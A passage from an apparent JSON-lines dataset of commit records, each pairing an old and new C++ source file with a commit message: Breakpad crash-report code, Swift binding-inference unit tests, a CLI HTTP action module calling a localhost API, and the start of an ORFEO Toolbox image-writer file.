\"%d\\n\", &last_sent_date_) != 1) {\n last_sent_date_ = -1;\n return;\n }\n if (fscanf_s(fd, \"%d\\n\", &reports_sent_) != 1) {\n reports_sent_ = 0;\n return;\n }\n}\n\nvoid CrashReportSender::ReportSent(int today) {\n \/\/ Update the report stats\n if (today != last_sent_date_) {\n last_sent_date_ = today;\n reports_sent_ = 0;\n }\n ++reports_sent_;\n\n \/\/ Update the checkpoint file\n FILE *fd;\n if (OpenCheckpointFile(L\"w\", &fd) == 0) {\n fputs(kCheckpointSignature, fd);\n fprintf(fd, \"%d\\n\", last_sent_date_);\n fprintf(fd, \"%d\\n\", reports_sent_);\n fclose(fd);\n }\n}\n\nint CrashReportSender::GetCurrentDate() const {\n SYSTEMTIME system_time;\n GetSystemTime(&system_time);\n return (system_time.wYear * 10000) + (system_time.wMonth * 100) +\n system_time.wDay;\n}\n\nint CrashReportSender::OpenCheckpointFile(const wchar_t *mode, FILE **fd) {\n if (checkpoint_file_.empty()) {\n return ENOENT;\n }\n#if _MSC_VER >= 1400 \/\/ MSVC 2005\/8\n return _wfopen_s(fd, checkpoint_file_.c_str(), mode);\n#else\n *fd = _wfopen(checkpoint_file_.c_str(), mode);\n if (*fd == NULL) {\n return errno;\n }\n return 0;\n#endif\n}\n\n} \/\/ namespace google_breakpad\n<|endoftext|>"} {"text":"\/\/===--- BindingInferenceTests.cpp ----------------------------------------===\/\/\n\/\/\n\/\/ This source file is part of the Swift.org open source project\n\/\/\n\/\/ Copyright (c) 2014 - 2020 Apple Inc. and the Swift project authors\n\/\/ Licensed under Apache License v2.0 with Runtime Library Exception\n\/\/\n\/\/ See https:\/\/swift.org\/LICENSE.txt for license information\n\/\/ See https:\/\/swift.org\/CONTRIBUTORS.txt for the list of Swift project authors\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"SemaFixture.h\"\n#include \"swift\/AST\/Expr.h\"\n#include \"swift\/Sema\/ConstraintSystem.h\"\n#include \"llvm\/ADT\/SmallPtrSet.h\"\n\nusing namespace swift;\nusing namespace swift::unittest;\nusing namespace swift::constraints;\n\nTEST_F(SemaTest, TestIntLiteralBindingInference) {\n ConstraintSystemOptions options;\n options |= ConstraintSystemFlags::AllowUnresolvedTypeVariables;\n\n ConstraintSystem cs(DC, options);\n\n auto *intLiteral = IntegerLiteralExpr::createFromUnsigned(Context, 42);\n\n auto *literalTy = cs.createTypeVariable(cs.getConstraintLocator(intLiteral),\n \/*options=*\/0);\n\n cs.addConstraint(\n ConstraintKind::LiteralConformsTo, literalTy,\n Context.getProtocol(KnownProtocolKind::ExpressibleByIntegerLiteral)\n ->getDeclaredInterfaceType(),\n cs.getConstraintLocator(intLiteral));\n\n auto bindings = cs.inferBindingsFor(literalTy);\n\n ASSERT_EQ(bindings.Bindings.size(), (unsigned)1);\n\n const auto &binding = bindings.Bindings.front();\n\n ASSERT_TRUE(binding.BindingType->isEqual(getStdlibType(\"Int\")));\n ASSERT_TRUE(binding.hasDefaultedLiteralProtocol());\n}\n\nTEST_F(SemaTest, TestTransitiveProtocolInference) {\n ConstraintSystemOptions options;\n ConstraintSystem cs(DC, options);\n\n auto *PD1 =\n new (Context) ProtocolDecl(DC, SourceLoc(), SourceLoc(),\n Context.getIdentifier(\"P1\"), \/*Inherited=*\/{},\n \/*trailingWhere=*\/nullptr);\n PD1->setImplicit();\n\n auto *protocolTy1 = ProtocolType::get(PD1, Type(), Context);\n\n auto *GPT = cs.createTypeVariable(cs.getConstraintLocator({}),\n \/*options=*\/TVO_CanBindToNoEscape);\n\n cs.addConstraint(\n ConstraintKind::ConformsTo, GPT, protocolTy1,\n cs.getConstraintLocator({}, LocatorPathElt::TypeParameterRequirement(\n 0, RequirementKind::Conformance)));\n\n \/\/ First, let's try inferring through a single conversion\n \/\/ relationship.\n {\n auto *typeVar = cs.createTypeVariable(cs.getConstraintLocator({}),\n \/*options=*\/0);\n\n cs.addConstraint(\n ConstraintKind::Conversion, typeVar, GPT,\n cs.getConstraintLocator({}, LocatorPathElt::ContextualType()));\n\n auto bindings = inferBindings(cs, typeVar);\n ASSERT_TRUE(bindings.Protocols.empty());\n\n const auto &inferredProtocols = bindings.TransitiveProtocols;\n ASSERT_TRUE(bool(inferredProtocols));\n ASSERT_EQ(inferredProtocols->size(), (unsigned)1);\n ASSERT_TRUE(\n (*inferredProtocols->begin())->getSecondType()->isEqual(protocolTy1));\n }\n}\n[unittest\/Sema] Cover transitive protocol inference with unit tests\/\/===--- BindingInferenceTests.cpp ----------------------------------------===\/\/\n\/\/\n\/\/ This source file is part of the Swift.org open source project\n\/\/\n\/\/ Copyright (c) 2014 - 2020 Apple Inc. and the Swift project authors\n\/\/ Licensed under Apache License v2.0 with Runtime Library Exception\n\/\/\n\/\/ See https:\/\/swift.org\/LICENSE.txt for license information\n\/\/ See https:\/\/swift.org\/CONTRIBUTORS.txt for the list of Swift project authors\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"SemaFixture.h\"\n#include \"swift\/AST\/Expr.h\"\n#include \"swift\/Sema\/ConstraintSystem.h\"\n#include \"llvm\/ADT\/SmallPtrSet.h\"\n\nusing namespace swift;\nusing namespace swift::unittest;\nusing namespace swift::constraints;\n\nTEST_F(SemaTest, TestIntLiteralBindingInference) {\n ConstraintSystemOptions options;\n options |= ConstraintSystemFlags::AllowUnresolvedTypeVariables;\n\n ConstraintSystem cs(DC, options);\n\n auto *intLiteral = IntegerLiteralExpr::createFromUnsigned(Context, 42);\n\n auto *literalTy = cs.createTypeVariable(cs.getConstraintLocator(intLiteral),\n \/*options=*\/0);\n\n cs.addConstraint(\n ConstraintKind::LiteralConformsTo, literalTy,\n Context.getProtocol(KnownProtocolKind::ExpressibleByIntegerLiteral)\n ->getDeclaredInterfaceType(),\n cs.getConstraintLocator(intLiteral));\n\n auto bindings = cs.inferBindingsFor(literalTy);\n\n ASSERT_EQ(bindings.Bindings.size(), (unsigned)1);\n\n const auto &binding = bindings.Bindings.front();\n\n ASSERT_TRUE(binding.BindingType->isEqual(getStdlibType(\"Int\")));\n ASSERT_TRUE(binding.hasDefaultedLiteralProtocol());\n}\n\n\/\/ Given a set of inferred protocol requirements, make sure that\n\/\/ all of the expected types are present.\nstatic void verifyProtocolInferenceResults(\n const llvm::SmallPtrSetImpl &protocols,\n ArrayRef expectedTypes) {\n ASSERT_TRUE(protocols.size() >= expectedTypes.size());\n\n llvm::SmallPtrSet inferredProtocolTypes;\n for (auto *protocol : protocols)\n inferredProtocolTypes.insert(protocol->getSecondType());\n\n for (auto expectedTy : expectedTypes) {\n ASSERT_TRUE(inferredProtocolTypes.count(expectedTy));\n }\n}\n\nTEST_F(SemaTest, TestTransitiveProtocolInference) {\n ConstraintSystemOptions options;\n ConstraintSystem cs(DC, options);\n\n auto *protocolTy1 = createProtocol(\"P1\");\n auto *protocolTy2 = createProtocol(\"P2\");\n\n auto *GPT1 = cs.createTypeVariable(cs.getConstraintLocator({}),\n \/*options=*\/TVO_CanBindToNoEscape);\n auto *GPT2 = cs.createTypeVariable(cs.getConstraintLocator({}),\n \/*options=*\/TVO_CanBindToNoEscape);\n\n cs.addConstraint(\n ConstraintKind::ConformsTo, GPT1, protocolTy1,\n cs.getConstraintLocator({}, LocatorPathElt::TypeParameterRequirement(\n 0, RequirementKind::Conformance)));\n\n cs.addConstraint(\n ConstraintKind::ConformsTo, GPT2, protocolTy2,\n cs.getConstraintLocator({}, LocatorPathElt::TypeParameterRequirement(\n 0, RequirementKind::Conformance)));\n\n \/\/ First, let's try inferring through a single conversion\n \/\/ relationship.\n {\n auto *typeVar = cs.createTypeVariable(cs.getConstraintLocator({}),\n \/*options=*\/0);\n\n cs.addConstraint(\n ConstraintKind::Conversion, typeVar, GPT1,\n cs.getConstraintLocator({}, LocatorPathElt::ContextualType()));\n\n auto bindings = inferBindings(cs, typeVar);\n ASSERT_TRUE(bindings.Protocols.empty());\n ASSERT_TRUE(bool(bindings.TransitiveProtocols));\n verifyProtocolInferenceResults(*bindings.TransitiveProtocols,\n {protocolTy1});\n }\n\n \/\/ Now, let's make sure that protocol requirements could be propagated\n \/\/ down conversion\/equality chains through multiple hops.\n {\n \/\/ GPT1 is a subtype of GPT2 and GPT2 is convertible to a target type\n \/\/ variable, target should get both protocols inferred - P1 & P2.\n\n auto *typeVar = cs.createTypeVariable(cs.getConstraintLocator({}),\n \/*options=*\/0);\n\n cs.addConstraint(ConstraintKind::Subtype, GPT1, GPT2,\n cs.getConstraintLocator({}));\n\n cs.addConstraint(ConstraintKind::Conversion, typeVar, GPT1,\n cs.getConstraintLocator({}));\n\n auto bindings = inferBindings(cs, typeVar);\n ASSERT_TRUE(bindings.Protocols.empty());\n ASSERT_TRUE(bool(bindings.TransitiveProtocols));\n verifyProtocolInferenceResults(*bindings.TransitiveProtocols,\n {protocolTy1, protocolTy2});\n }\n}\n\n\/\/\/ Let's try a more complicated situation where there protocols\n\/\/\/ are inferred from multiple sources on different levels of\n\/\/\/ convertion chain.\n\/\/\/\n\/\/\/ (P1) T0 T4 (T3) T6 (P4)\n\/\/\/ \\ \/ \/\n\/\/\/ T3 = T1 (P2) = T5\n\/\/\/ \\ \/\n\/\/\/ T2\n\nTEST_F(SemaTest, TestComplexTransitiveProtocolInference) {\n ConstraintSystemOptions options;\n ConstraintSystem cs(DC, options);\n\n auto *protocolTy1 = createProtocol(\"P1\");\n auto *protocolTy2 = createProtocol(\"P2\");\n auto *protocolTy3 = createProtocol(\"P3\");\n auto *protocolTy4 = createProtocol(\"P4\");\n\n auto *nilLocator = cs.getConstraintLocator({});\n\n auto typeVar0 = cs.createTypeVariable(nilLocator, \/*options=*\/0);\n auto typeVar1 = cs.createTypeVariable(nilLocator, \/*options=*\/0);\n auto typeVar2 = cs.createTypeVariable(nilLocator, \/*options=*\/0);\n \/\/ Allow this type variable to be bound to l-value type to prevent\n \/\/ it from being merged with the rest of the type variables.\n auto typeVar3 =\n cs.createTypeVariable(nilLocator, \/*options=*\/TVO_CanBindToLValue);\n auto typeVar4 = cs.createTypeVariable(nilLocator, \/*options=*\/0);\n auto typeVar5 =\n cs.createTypeVariable(nilLocator, \/*options=*\/TVO_CanBindToLValue);\n auto typeVar6 = cs.createTypeVariable(nilLocator, \/*options=*\/0);\n\n cs.addConstraint(ConstraintKind::ConformsTo, typeVar0, protocolTy1,\n nilLocator);\n cs.addConstraint(ConstraintKind::ConformsTo, typeVar1, protocolTy2,\n nilLocator);\n cs.addConstraint(ConstraintKind::ConformsTo, typeVar4, protocolTy3,\n nilLocator);\n cs.addConstraint(ConstraintKind::ConformsTo, typeVar6, protocolTy4,\n nilLocator);\n\n \/\/ T3 <: T0, T3 <: T4\n cs.addConstraint(ConstraintKind::Conversion, typeVar3, typeVar0, nilLocator);\n cs.addConstraint(ConstraintKind::Conversion, typeVar3, typeVar4, nilLocator);\n\n \/\/ T2 <: T3, T2 <: T1, T3 == T1\n cs.addConstraint(ConstraintKind::Subtype, typeVar2, typeVar3, nilLocator);\n cs.addConstraint(ConstraintKind::Conversion, typeVar2, typeVar1, nilLocator);\n cs.addConstraint(ConstraintKind::Equal, typeVar3, typeVar1, nilLocator);\n \/\/ T1 == T5, T <: T6\n cs.addConstraint(ConstraintKind::Equal, typeVar1, typeVar5, nilLocator);\n cs.addConstraint(ConstraintKind::Conversion, typeVar5, typeVar6, nilLocator);\n\n auto bindingsForT1 = inferBindings(cs, typeVar1);\n auto bindingsForT2 = inferBindings(cs, typeVar2);\n auto bindingsForT3 = inferBindings(cs, typeVar3);\n auto bindingsForT5 = inferBindings(cs, typeVar5);\n\n ASSERT_TRUE(bool(bindingsForT1.TransitiveProtocols));\n verifyProtocolInferenceResults(*bindingsForT1.TransitiveProtocols,\n {protocolTy1, protocolTy3, protocolTy4});\n\n ASSERT_TRUE(bool(bindingsForT2.TransitiveProtocols));\n verifyProtocolInferenceResults(\n *bindingsForT2.TransitiveProtocols,\n {protocolTy1, protocolTy2, protocolTy3, protocolTy4});\n\n ASSERT_TRUE(bool(bindingsForT3.TransitiveProtocols));\n verifyProtocolInferenceResults(\n *bindingsForT3.TransitiveProtocols,\n {protocolTy1, protocolTy2, protocolTy3, protocolTy4});\n\n ASSERT_TRUE(bool(bindingsForT5.TransitiveProtocols));\n verifyProtocolInferenceResults(\n *bindingsForT5.TransitiveProtocols,\n {protocolTy1, protocolTy2, protocolTy3, protocolTy4});\n}\n<|endoftext|>"} {"text":"\/\/ \n\/\/ Copyright (c) 2014 Toshiaki Takada\n\/\/ \n\/\/ Permission is hereby granted, free of charge, to any person obtaining a copy\n\/\/ of this software and associated documentation files (the \"Software\"), to deal\n\/\/ in the Software without restriction, including without limitation the rights\n\/\/ to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n\/\/ copies of the Software, and to permit persons to whom the Software is\n\/\/ furnished to do so, subject to the following conditions:\n\/\/ \n\/\/ The above copyright notice and this permission notice shall be included in\n\/\/ all copies or substantial portions of the Software.\n\/\/ \n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n\/\/ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n\/\/ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n\/\/ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n\/\/ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n\/\/ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n\/\/ THE SOFTWARE.\n\/\/ \n\n#include \n#include \n#include \n\n#include \n#include \n#include \n#include \n#include \n#include \"json\/json.h\"\n\n#include \"cli.hpp\"\n#include \"cli_action.hpp\"\n\nusing namespace curlpp;\n\nCliActionHttp::CliActionHttp(Json::Value& http)\n : CliAction()\n{\n method_ = http[\"method\"].asString();\n path_ = http[\"path\"].asString();\n format_ = http[\"format\"].asString();\n\n Json::Value params = http[\"params\"];\n\n if (!params.isNull())\n for (Json::Value::iterator it = params.begin();\n it != params.end(); ++it)\n param_token_[it.key().asString()] = *it;\n}\n\nbool\nCliActionHttp::get_token(string& str, string& token)\n{\n const char *p = str.c_str();\n size_t pos;\n\n \/\/ skip \"\/\".\n pos = strspn(p, \"\/\");\n if (pos > 0)\n str = str.substr(pos, string::npos);\n\n \/\/ stirng is empty.\n if (str.empty())\n return false;\n\n p = str.c_str();\n pos = strcspn(p, \"\/\");\n token = str.substr(0, pos);\n\n str = str.substr(pos, string::npos);\n\n return true;\n}\n\nbool\nCliActionHttp::handle(Cli *cli, ParamsMap& input)\n{\n Json::Value json_params;\n Json::FastWriter writer;\n Json::Value null_value;\n string str(path_);\n string path;\n string token;\n const char *delim = \"\";\n\n if (cli->is_debug())\n {\n cout << \"method: \" << method_ << endl;\n cout << \"path: \" << path_ << endl;\n }\n\n for (ParamTokenMap::iterator it = param_token_.begin();\n it != param_token_.end(); ++it)\n {\n string key = it->first;\n replace(key.begin(), key.end(), '-', '_');\n\n if (cli->is_debug())\n cout << \"param_token_[\" << key << \"] = \" << it->second << endl;\n\n if (it->second.isNull())\n json_params[key] = null_value;\n else if (it->second.isBool())\n json_params[key] = it->second.asBool();\n else if (it->second.isUInt64())\n json_params[key] = it->second.asUInt64();\n else if (it->second.isInt64())\n json_params[key] = it->second.asInt64();\n else if (it->second.isString())\n {\n if (!input[it->second.asString()].empty())\n json_params[key] = input[it->second.asString()];\n else\n json_params[key] = it->second;\n }\n }\n\n \/\/ Generate path with parameter.\n while (get_token(str, token))\n {\n path += delim;\n\n if (token.c_str()[0] == ':')\n path += input[&token.c_str()[1]];\n else\n path += token;\n\n delim = \"\/\";\n }\n\n string json_str = writer.write(json_params);\n\n if (cli->is_debug())\n cout << \"json: \" << json_str << endl;\n\n request(cli, method_, path, json_str);\n\n return true;\n}\n\nvoid\nCliActionHttp::request(Cli *cli, string& method, string& path, string& json)\n{\n if (method != \"GET\"\n && method != \"POST\"\n && method != \"PUT\"\n && method != \"DELETE\")\n return;\n\n string url(\"http:\/\/localhost\");\n string api_prefix(\"\/zebra\/api\");\n\n url += api_prefix;\n if (!path.empty())\n url += \"\/\" + path;\n\n if (format_.empty())\n url += \".json\";\n else\n url += \".\" + format_;\n\n try\n {\n Cleanup myCleanup;\n Easy req;\n stringstream result;\n\n req.setOpt(new options::Url(url));\n if (cli->is_debug())\n req.setOpt(new options::Verbose(true));\n\n list header;\n header.push_back(\"Content-type: application\/json\");\n\n req.setOpt(new options::HttpHeader(header));\n req.setOpt(new options::CustomRequest(method));\n req.setOpt(new options::WriteStream(&result));\n\n if (method != \"GET\")\n {\n req.setOpt(new options::PostFields(json));\n req.setOpt(new options::PostFieldSize(json.size()));\n }\n\n req.perform();\n\n int status = infos::ResponseCode::get(req);\n switch (status \/ 100)\n {\n case 1:\n case 2:\n if (format_ == \"cli\")\n cout << result.str() << endl;\n break;\n case 3:\n case 4:\n case 5:\n cout << \"HTTP Error: \" << status << endl;\n break;\n }\n\n cli->set_result(result);\n }\n catch (curlpp::RuntimeError& e)\n {\n if (cli->is_debug())\n cout << e.what() << std::endl;\n }\n catch (curlpp::LogicError& e)\n {\n if (cli->is_debug())\n cout << e.what() << std::endl;\n }\n\n \/\/ cout << endl;\n}\n\n\f\nCliActionMode::CliActionMode(Json::Value& mode)\n : CliAction()\n{\n Json::Value name = mode[\"name\"];\n Json::Value up = mode[\"up\"];\n Json::Value params = mode[\"params\"];\n\n if (!name.isNull())\n name_ = name.asString();\n if (!up.isNull())\n up_ = up.asUInt();\n\n if (!params.isNull())\n for (Json::Value::iterator it = params.begin();\n it != params.end(); ++it)\n params_.push_back((*it).asString());\n}\n\nbool\nCliActionMode::handle(Cli *cli, ParamsMap& input)\n{\n if (!name_.empty())\n {\n cli->mode_set(name_);\n\n \/\/ Derive parameters.\n cli->params_.clear();\n\n for (StringVector::iterator it = params_.begin();\n it != params_.end(); ++it)\n {\n ParamsMap::iterator is = input.find(*it);\n\n if (is != input.end())\n cli->params_[*it] = is->second;\n }\n }\n else if (up_)\n cli->mode_up(up_);\n\n return true;\n}\n\n\f\nbool\nCliActionBuiltIn::handle(Cli *cli, ParamsMap& input)\n{\n (void)input;\n\n \/\/TODO\n StringVector vec;\n\n if (cli->built_in_[func_])\n cli->built_in_[func_](cli, vec);\n\n return true;\n}\nAdd dynamic key from input. This is a little bit tricky.\/\/ \n\/\/ Copyright (c) 2014 Toshiaki Takada\n\/\/ \n\/\/ Permission is hereby granted, free of charge, to any person obtaining a copy\n\/\/ of this software and associated documentation files (the \"Software\"), to deal\n\/\/ in the Software without restriction, including without limitation the rights\n\/\/ to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n\/\/ copies of the Software, and to permit persons to whom the Software is\n\/\/ furnished to do so, subject to the following conditions:\n\/\/ \n\/\/ The above copyright notice and this permission notice shall be included in\n\/\/ all copies or substantial portions of the Software.\n\/\/ \n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n\/\/ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n\/\/ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n\/\/ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n\/\/ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n\/\/ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n\/\/ THE SOFTWARE.\n\/\/ \n\n#include \n#include \n#include \n\n#include \n#include \n#include \n#include \n#include \n#include \"json\/json.h\"\n\n#include \"cli.hpp\"\n#include \"cli_action.hpp\"\n\nusing namespace curlpp;\n\nCliActionHttp::CliActionHttp(Json::Value& http)\n : CliAction()\n{\n method_ = http[\"method\"].asString();\n path_ = http[\"path\"].asString();\n format_ = http[\"format\"].asString();\n\n Json::Value params = http[\"params\"];\n\n if (!params.isNull())\n for (Json::Value::iterator it = params.begin();\n it != params.end(); ++it)\n param_token_[it.key().asString()] = *it;\n}\n\nbool\nCliActionHttp::get_token(string& str, string& token)\n{\n const char *p = str.c_str();\n size_t pos;\n\n \/\/ skip \"\/\".\n pos = strspn(p, \"\/\");\n if (pos > 0)\n str = str.substr(pos, string::npos);\n\n \/\/ stirng is empty.\n if (str.empty())\n return false;\n\n p = str.c_str();\n pos = strcspn(p, \"\/\");\n token = str.substr(0, pos);\n\n str = str.substr(pos, string::npos);\n\n return true;\n}\n\nbool\nCliActionHttp::handle(Cli *cli, ParamsMap& input)\n{\n Json::Value json_params;\n Json::FastWriter writer;\n Json::Value null_value;\n string str(path_);\n string path;\n string token;\n const char *delim = \"\";\n\n if (cli->is_debug())\n {\n cout << \"method: \" << method_ << endl;\n cout << \"path: \" << path_ << endl;\n }\n\n for (ParamTokenMap::iterator it = param_token_.begin();\n it != param_token_.end(); ++it)\n {\n string key = it->first;\n ParamsMap::iterator is;\n\n is = input.find(key);\n if (is != input.end())\n key = is->second;\n\n replace(key.begin(), key.end(), '-', '_');\n\n if (cli->is_debug())\n cout << \"param_token_[\" << key << \"] = \" << it->second << endl;\n\n if (it->second.isNull())\n json_params[key] = null_value;\n else if (it->second.isBool())\n json_params[key] = it->second.asBool();\n else if (it->second.isUInt64())\n json_params[key] = it->second.asUInt64();\n else if (it->second.isInt64())\n json_params[key] = it->second.asInt64();\n else if (it->second.isString())\n {\n if (!input[it->second.asString()].empty())\n json_params[key] = input[it->second.asString()];\n else\n json_params[key] = it->second;\n }\n }\n\n \/\/ Generate path with parameter.\n while (get_token(str, token))\n {\n path += delim;\n\n if (token.c_str()[0] == ':')\n path += input[&token.c_str()[1]];\n else\n path += token;\n\n delim = \"\/\";\n }\n\n string json_str = writer.write(json_params);\n\n if (cli->is_debug())\n cout << \"json: \" << json_str << endl;\n\n request(cli, method_, path, json_str);\n\n return true;\n}\n\nvoid\nCliActionHttp::request(Cli *cli, string& method, string& path, string& json)\n{\n if (method != \"GET\"\n && method != \"POST\"\n && method != \"PUT\"\n && method != \"DELETE\")\n return;\n\n string url(\"http:\/\/localhost\");\n string api_prefix(\"\/zebra\/api\");\n\n url += api_prefix;\n if (!path.empty())\n url += \"\/\" + path;\n\n if (format_.empty())\n url += \".json\";\n else\n url += \".\" + format_;\n\n try\n {\n Cleanup myCleanup;\n Easy req;\n stringstream result;\n\n req.setOpt(new options::Url(url));\n if (cli->is_debug())\n req.setOpt(new options::Verbose(true));\n\n list header;\n header.push_back(\"Content-type: application\/json\");\n\n req.setOpt(new options::HttpHeader(header));\n req.setOpt(new options::CustomRequest(method));\n req.setOpt(new options::WriteStream(&result));\n\n if (method != \"GET\")\n {\n req.setOpt(new options::PostFields(json));\n req.setOpt(new options::PostFieldSize(json.size()));\n }\n\n req.perform();\n\n int status = infos::ResponseCode::get(req);\n switch (status \/ 100)\n {\n case 1:\n case 2:\n if (format_ == \"cli\")\n cout << result.str() << endl;\n break;\n case 3:\n case 4:\n case 5:\n cout << \"HTTP Error: \" << status << endl;\n break;\n }\n\n cli->set_result(result);\n }\n catch (curlpp::RuntimeError& e)\n {\n if (cli->is_debug())\n cout << e.what() << std::endl;\n }\n catch (curlpp::LogicError& e)\n {\n if (cli->is_debug())\n cout << e.what() << std::endl;\n }\n\n \/\/ cout << endl;\n}\n\n\f\nCliActionMode::CliActionMode(Json::Value& mode)\n : CliAction()\n{\n Json::Value name = mode[\"name\"];\n Json::Value up = mode[\"up\"];\n Json::Value params = mode[\"params\"];\n\n if (!name.isNull())\n name_ = name.asString();\n if (!up.isNull())\n up_ = up.asUInt();\n\n if (!params.isNull())\n for (Json::Value::iterator it = params.begin();\n it != params.end(); ++it)\n params_.push_back((*it).asString());\n}\n\nbool\nCliActionMode::handle(Cli *cli, ParamsMap& input)\n{\n if (!name_.empty())\n {\n cli->mode_set(name_);\n\n \/\/ Derive parameters.\n cli->params_.clear();\n\n for (StringVector::iterator it = params_.begin();\n it != params_.end(); ++it)\n {\n ParamsMap::iterator is = input.find(*it);\n\n if (is != input.end())\n cli->params_[*it] = is->second;\n }\n }\n else if (up_)\n cli->mode_up(up_);\n\n return true;\n}\n\n\f\nbool\nCliActionBuiltIn::handle(Cli *cli, ParamsMap& input)\n{\n (void)input;\n\n \/\/TODO\n StringVector vec;\n\n if (cli->built_in_[func_])\n cli->built_in_[func_](cli, vec);\n\n return true;\n}\n<|endoftext|>"} {"text":"\/*=========================================================================\n\n Program: ORFEO Toolbox\n Language: C++\n Date: $Date$\n Version: $Revision$\n\n\n Copyright (c) Centre National d'Etudes Spatiales. All rights reserved.\n See OTBCopyright.txt for details.\n\n\n This software is distributed WITHOUT ANY WARRANTY; without even\n the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR\n PURPOSE. See the above copyright notices for more information.\n\n=========================================================================*\/\n#include \"otbWrapperOutputImageParameter.h\"\n#include \"itkCastImageFilter.h\"\n#include \"itkVectorCastImageFilter.h\"\n\nnamespace otb\n{\nnamespace Wrapper\n{\n\nOutputImageParameter::OutputImageParameter()\n: m_PixelType(ImagePixelType_float)\n{\n this->SetName(\"Output Image\");\n this->SetKey(\"out\");\n\n this->InitializeWriters();\n}\n\n\nOutputImageParameter::~OutputImageParameter()\n{\n}\n\nvoid OutputImageParameter::InitializeWriters()\n{\n m_Int8Writer = Int8WriterType::New();\n m_UInt8Writer = UInt8WriterType::New();\n m_Int16Writer = Int16WriterType::New();\n m_UInt16Writer = UInt16WriterType::New();\n m_Int32Writer = Int32WriterType::New();\n m_UInt32Writer = UInt32WriterType::New();\n m_FloatWriter = FloatWriterType::New();\n m_DoubleWriter = DoubleWriterType::New();\n\n m_RGBAUInt8Writer = RGBAUInt8WriterType::New();\n\n m_VectorInt8Writer = VectorInt8WriterType::New();\n m_VectorUInt8Writer = VectorUInt8WriterType::New();\n m_VectorInt16Writer = VectorInt16WriterType::New();\n m_VectorUInt16Writer = VectorUInt16WriterType::New();\n m_VectorInt32Writer = VectorInt32WriterType::New();\n m_VectorUInt32Writer = VectorUInt32WriterType::New();\n m_VectorFloatWriter = VectorFloatWriterType::New();\n m_VectorDoubleWriter = VectorDoubleWriterType::New();\n}\n\n\n#define otbCastAndWriteImageMacro(InputImageType, OutputImageType, writer) \\\n { \\\n typedef itk::CastImageFilter CastFilterType; \\\n typename CastFilterType::Pointer caster = CastFilterType::New(); \\\n caster->SetInput( dynamic_cast(m_Image.GetPointer()) ); \\\n writer->SetFileName( this->GetFileName() ); \\\n writer->SetInput(caster->GetOutput()); \\\n writer->Update(); \\\n }\n\n\ntemplate \nvoid \nOutputImageParameter::SwitchImageWrite()\n{\n switch(m_PixelType )\n {\n case ImagePixelType_int8:\n {\n otbCastAndWriteImageMacro(TInputImageType, Int8ImageType, m_Int8Writer);\n break;\n }\n case ImagePixelType_uint8:\n {\n std::cout<<\"Write, output is image uint8\"<\nvoid\nOutputImageParameter::SwitchVectorImageWrite()\n {\n switch(m_PixelType )\n {\n case ImagePixelType_int8:\n {\n otbCastAndWriteImageMacro(TInputVectorImageType, Int8VectorImageType, m_VectorInt8Writer);\n break;\n }\n case ImagePixelType_uint8:\n {\n otbCastAndWriteImageMacro(TInputVectorImageType, UInt8VectorImageType, m_VectorUInt8Writer);\n break;\n }\n case ImagePixelType_int16:\n {\n otbCastAndWriteImageMacro(TInputVectorImageType, Int16VectorImageType, m_VectorInt16Writer);\n break;\n }\n case ImagePixelType_uint16:\n {\n otbCastAndWriteImageMacro(TInputVectorImageType, UInt16VectorImageType, m_VectorUInt16Writer);\n break;\n }\n case ImagePixelType_int32:\n {\n otbCastAndWriteImageMacro(TInputVectorImageType, Int32VectorImageType, m_VectorInt32Writer);\n break;\n }\n case ImagePixelType_uint32:\n {\n otbCastAndWriteImageMacro(TInputVectorImageType, UInt32VectorImageType, m_VectorUInt32Writer);\n break;\n }\n case ImagePixelType_float:\n {\n otbCastAndWriteImageMacro(TInputVectorImageType, FloatVectorImageType, m_VectorFloatWriter);\n break;\n }\n case ImagePixelType_double:\n {\n otbCastAndWriteImageMacro(TInputVectorImageType, DoubleVectorImageType, m_VectorDoubleWriter);\n break;\n }\n }\n }\n\n\ntemplate \nvoid\nOutputImageParameter::SwitchRGBAImageWrite()\n {\n switch(m_PixelType )\n {\n case ImagePixelType_int8:\n {\n otbCastAndWriteImageMacro(TInputRGBAImageType, Int8RGBAImageType, m_RGBAInt8Writer);\n break;\n }\n case ImagePixelType_uint8:\n {\n otbCastAndWriteImageMacro(TInputRGBAImageType, UInt8RGBAImageType, m_RGBAUInt8Writer);\n break;\n }\n case ImagePixelType_int16:\n {\n otbCastAndWriteImageMacro(TInputRGBAImageType, Int16RGBAImageType, m_RGBAInt16Writer);\n break;\n }\n case ImagePixelType_uint16:\n {\n otbCastAndWriteImageMacro(TInputRGBAImageType, UInt16RGBAImageType, m_RGBAUInt16Writer);\n break;\n }\n case ImagePixelType_int32:\n {\n otbCastAndWriteImageMacro(TInputRGBAImageType, Int32RGBAImageType, m_RGBAInt32Writer);\n break;\n }\n case ImagePixelType_uint32:\n {\n otbCastAndWriteImageMacro(TInputRGBAImageType, UInt32RGBAImageType, m_RGBAUInt32Writer);\n break;\n }\n case ImagePixelType_float:\n {\n otbCastAndWriteImageMacro(TInputRGBAImageType, FloatRGBAImageType, m_RGBAFloatWriter);\n break;\n }\n case ImagePixelType_double:\n {\n otbCastAndWriteImageMacro(TInputRGBAImageType, 